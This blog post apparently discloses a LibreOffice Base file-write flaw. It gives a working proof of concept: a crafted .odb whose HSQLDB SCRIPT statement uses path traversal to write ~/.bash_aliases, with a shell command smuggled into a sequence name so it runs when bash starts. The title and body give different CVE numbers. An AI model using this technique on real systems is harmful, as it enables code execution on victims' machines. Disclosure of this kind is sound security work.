LibreOffice Arbitrary File Write (CVE-2023-1883)

Posted on June 19, 2023 by greg

During our internal research, we’ve decided to take a look at the LibreOffice suite, because.. why not?

While performing a cursory inspection of the LibreOffice Base desktop database, we stumbled across an (arbitrary) file write issue. The fine folks at LibreOffice immediately addressed the vulnerability.

In this blog post, we wanted to share some more details about the discovery and exploitation of the issue.

Poking Around

The LibreOffice suite contains a number of individual applications, including a word processor, a spreadsheet implementation, a tool for building and showing presentations, and a desktop database. For no particular reason, I decided to take a look at how the database part (i.e., the LibreOffice Base application) actually worked.

So I went ahead, started LibreOffice Base and created a new database:

It asked me what database type I wanted and I picked the only available option “HSQLDB Embedded”. After creating the database and filling in some test values, I saved the file to disk. Just as “regular” .odt documents, the resulting .odb file was simply a zip archive with the following contents:

./forms
./reports
./Configurations2
./database
./database/script
./database/properties
./mimetype
./content.xml
./META-INF
./META-INF/manifest.xml
./settings.xml

Not terribly much, but what did I expect? It was just an almost empty database, after all. So I went ahead and looked at the individual files. The contents of database/script made me raise an eyebrow:

SET DATABASE COLLATION "Latin1_General"
CREATE SCHEMA PUBLIC AUTHORIZATION DBA
CREATE CACHED TABLE "Table1"("ID" INTEGER NOT NULL PRIMARY KEY,"foo" VARCHAR(100))
CREATE USER SA PASSWORD ""
GRANT DBA TO SA
SET WRITE_DELAY 60

The file contained SQL statements? I still have a vivid memory of the times where SQL injection issues were to be found in almost all web applications, so maybe one could play some funny SQL tricks here?

HSQLDB

Of course, turning the ability to issue (arbitrary?) SQL statements into something useful depends on the database engine. As we seem to be using HSQLDB here, I thought it might be a good first step to consult the documentation.

Finally, I stumbled across the SCRIPT statement:

Creates an SQL script describing the database. If the file is not specified, a result set containing only the DDL script is returned. If the file is specified then this file is saved with the path relative to the machine where the database engine is located.

Only an administrator may do this.

So SCRIPT path/to/file could be used to write to a file? That sure sounded interesting! I just went ahead to give it a try; I adjusted the database/script file as shown below:

SET DATABASE COLLATION "Latin1_General"
CREATE SCHEMA PUBLIC AUTHORIZATION DBA
CREATE CACHED TABLE "Table1"("ID" INTEGER NOT NULL PRIMARY KEY,"foo" VARCHAR(100))
CREATE USER SA PASSWORD ""
GRANT DBA TO SA
SET WRITE_DELAY 60
SCRIPT '../../../../../../../../../tmp/ohai'

Then I re-packed the directory structure into an .odb by simply using zip -r ../foo.odb . and gave it a try.

Sadly, when I opened the .odb file in LibreOffice, nothing happened at all. No /tmp/ohai :(

Accidental Discovery

Maybe I shouldn’t have expected that to work right away. I figured, I’d maybe just play with some other features of LibreOffice Base (e.g., the Forms and Reports) to see if there was more interesting stuff to poke around with. After I was done, I saved the file, closed LibreOffice and - just to be sure - double-checked on the /tmp/ohai file again. To my great surprise, the file was now present:

bugofen libreoffice_hack𝝺 cat /tmp/ohai
SET DATABASE COLLATION "Latin1_General"
CREATE SCHEMA PUBLIC AUTHORIZATION DBA
CREATE CACHED TABLE "Table1"("ID" INTEGER NOT NULL PRIMARY KEY,"foo" VARCHAR(100))
CREATE USER SA PASSWORD ""
GRANT DBA TO SA
SET WRITE_DELAY 60

Hmm… Maybe clicking around in the LibreOffice Base application somehow caused the SQL statements in database/script to be executed? I decided to test this real quick - I deleted /tmp/ohai and opened my .odb file again. Then I clicked on some of the available options (e.g., “Queries”, “Reports” etc.), and… nothing happened. No /tmp/ohai.

Now I scratched my head a bit. I decided to maybe take a look at the changes I did to the file while playing around in LibreOffice, so I unzipped the .odb (which now contained significantly more stuff). To my surprise, the database/script file was now back to its original state (i.e., without my SCRIPT statement). That of course explains why it did not work anymore!

OK, so somehow my changes to database/script have been overwritten. But that wasn’t a big deal - I just added my SCRIPT statement again, re-packed the .odb and opened it in LibreOffice. And this time, after clicking on the “Queries” button, the /tmp/ohai file showed up again.

So far so good. So when saving my modified .odb, LibreOffice would remove the SCRIPT statement from database/script.

So, what did we achieve so far? We made LibreOffice Base write data to a file in the local filesystem. The file contents seem to be at least partially under our control: the documentation and the above excerpt indicate that the SCRIPT command will basically dump the contents of database/script to a file we select. In other words, the contents we write to our destination file will at least have to be valid SQL statements. Depending on the file format we’re aiming to use, this might or might not be a problem.

Exploitation Attempts

I figured, a good next step would be to try overwriting an existing file, like ~/.profile or so. So I went ahead, adjusted database/script again and gave it a try.

After opening the file and clicking on the “Queries” button, LibreOffice gave a friendly error message:

Well, thanks for nothing. Overwriting files that already exist did not seem to work. At least, so I figured, that would make exploitation a bit more fun.

The inability to overwrite existing files of course by no means guarantees that the issue is not exploitable. However, it does mean that we’ll likely have to fiddle around a bit more. Generally speaking, it will of course not be trivial to predict whether or not a file will be present on the target user’s system. But maybe we could at least find some promising candidates?

I started by reading the ~/.bashrc file of my Ubuntu test machine and found the following:

if [ -x /usr/bin/dircolors ]; then
    test -r ~/.dircolors && eval "$(dircolors -b ~/.dircolors)" || eval "$(dircolors -b)"
...
fi

...

if [ -f ~/.bash_aliases ]; then
    . ~/.bash_aliases
fi

Neither ~/.dircolors nor ~/.bash_aliases existed on my machine. I first decided to take a look at how the dircolors utility would parse the ~/.dircolors file, but it seemed that it at least tries to prevent possible injection issues. Maybe one should spend more than five minutes, though? :)

Anyway, for a quick demo I just decided to go with ~/.bash_aliases.

Finding a Good Payload

Now, as we’re targeting ~/.bash_aliases, we somehow need to ensure that the contents written to the will be sufficiently well-formed to be executed as a shell script.

My first attempt was to simply change the first line of database/script to something like SET DATABASE COLLATION "$(touch /tmp/test)". However, this did not really work. When loading the file, LibreOffice told me that there was an error in the collation name I used. No wonder, because $(touch /tmp/test) is hardly a valid collation name.

OK, so maybe I could just use a table name for the payload? The next idea was to use something like this: CREATE CACHED TABLE "$(touch /tmp/test)"("ID" INTEGER NOT NULL PRIMARY KEY,"foo" VARCHAR(100)). While this time LibreOffice did not complain, the resulting file was rejected by bash:

bash: /home/greg/.bash_aliases: line 2: syntax error near unexpected token `('
bash: /home/greg/.bash_aliases: line 2: `CREATE CACHED TABLE "Table1"("ID" INTEGER NOT NULL PRIMARY KEY,"foo" VARCHAR(100))

Clearly, bash was not happy about the parentheses. Instead of trying to fix this issue, I just opted to maybe use a SQL statement that would not contain parentheses at all. Taking a quick look at the documentation again, the CREATE SEQUENCE statement caught my attention. So I just added the following statement to database/script: CREATE SEQUENCE "$(touch /tmp/test)". Lo and behold! It finally worked.

So all in all, my database/script now looked like this:

SET DATABASE COLLATION "Latin1_General"
CREATE SCHEMA PUBLIC AUTHORIZATION DBA
CREATE CACHED TABLE "Table1"("ID" INTEGER NOT NULL PRIMARY KEY,"foo" VARCHAR(100))
CREATE USER SA PASSWORD ""
GRANT DBA TO SA
SET WRITE_DELAY 60

-- teh 1337 haxx
CREATE SEQUENCE "$(touch /tmp/test)"
SCRIPT '../../../../../../../../../home/greg/.bash_aliases'

After re-packaging this into an .odb, loading the file in LibreOffice and clicking on the “Queries” button, a ~/.bash_aliases with the following contents was generated:

SET DATABASE COLLATION "Latin1_General"
CREATE SCHEMA PUBLIC AUTHORIZATION DBA
CREATE SEQUENCE "$(touch /tmp/test)" AS INTEGER START WITH 0
CREATE CACHED TABLE "Table1"("ID" INTEGER NOT NULL PRIMARY KEY,"foo" VARCHAR(100))
CREATE USER SA PASSWORD ""
GRANT DBA TO SA
SET WRITE_DELAY 60

As a side-note, we can observe that (as mentioned above) the file will not directly contain a verbatim copy of database/script, but rather a slightly adjusted version.

Now, when starting a new bash instance, I received the following output:

bugofen libreoffice_hack𝝺 bash
bash: SET: command not found
bash: CREATE: command not found
bash: CREATE: command not found
bash: /home/greg/.bash_aliases: line 4: syntax error near unexpected token `('
bash: /home/greg/.bash_aliases: line 4: `CREATE CACHED TABLE "Table1"("ID" INTEGER NOT NULL PRIMARY KEY,"foo" VARCHAR(100))'
bugofen libreoffice_hack𝝺 ls /tmp/test
/tmp/test

And that’s about it. I think I’ll leave any further exploitation as an exercise to the reader ;)

Disclosure

The issue has of course been disclosed upstream before this blog post was made public. Thanks a lot to the LibreOffice and HSQLDB team for addressing it!

The issue has been assigned CVE-2023-1183.